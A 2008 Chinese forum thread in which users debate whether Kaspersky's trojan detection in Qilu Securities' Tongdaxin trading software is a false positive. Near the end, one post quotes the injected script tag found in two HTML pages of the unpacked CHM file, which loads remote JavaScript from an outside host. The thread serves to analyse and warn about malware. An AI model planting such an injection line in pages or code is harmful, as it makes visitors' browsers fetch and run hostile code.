卡巴2009报齐鲁证券交易系统木马

显示全部楼层 · 发表于 2008-12-25 18:47:06

这个我发到http://www.virustotal.com查了一下，有6个报（包括卡巴）39个不报（包括红伞）
晕倒，宁可信其有不可信其无，我也不用通达信了

显示全部楼层 · 发表于 2008-12-25 18:49:47

官方的软件怎么会有木马？齐鲁证券算是个大证券了
一直用通达信，简洁占资源少，那个同花顺的花哨功能太多，占资源大

显示全部楼层 · 发表于 2008-12-25 19:02:56

我感觉误报的可能性比较大
我运行了一下那个文件，没发现那里不妥

显示全部楼层 · 发表于 2008-12-25 19:04:49

考虑到别丢了什么重要的东东，还是先不用了
我装的红伞的确不报

显示全部楼层 · 发表于 2008-12-25 19:47:26

原帖由 cutr 于 2008-12-25 18:47 发表
这个我发到http://www.virustotal.com查了一下，有6个报（包括卡巴）39个不报（包括红伞）
晕倒，宁可信其有不可信其无，我也不用通达信了

中中更健康

显示全部楼层 · 发表于 2008-12-25 20:09:18

貌似是误报。。

显示全部楼层 · 发表于 2008-12-25 20:10:11

原帖由 cutr 于 2008-12-25 19:04 发表
考虑到别丢了什么重要的东东，还是先不用了
我装的红伞的确不报

我也卸载了，幸亏刚安装后立即就扫描了一下

显示全部楼层 · 发表于 2008-12-25 20:11:04

原帖由 BING126 于 2008-12-25 20:09 发表
貌似是误报。。

我觉得也不应该存在木马，但又很信赖卡巴

显示全部楼层 · 发表于 2008-12-25 20:55:33

卡巴不同意是误报

卡巴:
This file includes two .html files, that are detecting like Trojan-Downloader.HTML.Agent.ml.
Those files are infected.

[ 本帖最后由 sam.to 于 2008-12-25 21:11 编辑 ]

显示全部楼层 · 发表于 2008-12-25 21:46:49

不是误报
把这个chm解包后
卡巴报的是以下两个网页文件
这两个网页文件都被挂马了
<script language=javascript src=http://cc.18dd.net/1.js></script>

不过http://cc.18dd.net/1.js已经不存在了

[ 本帖最后由 Redevil 于 2008-12-25 21:50 编辑 ]

[病毒样本] 卡巴2009报齐鲁证券交易系统木马

回复 12楼 cutr 的帖子

本帖子中包含更多资源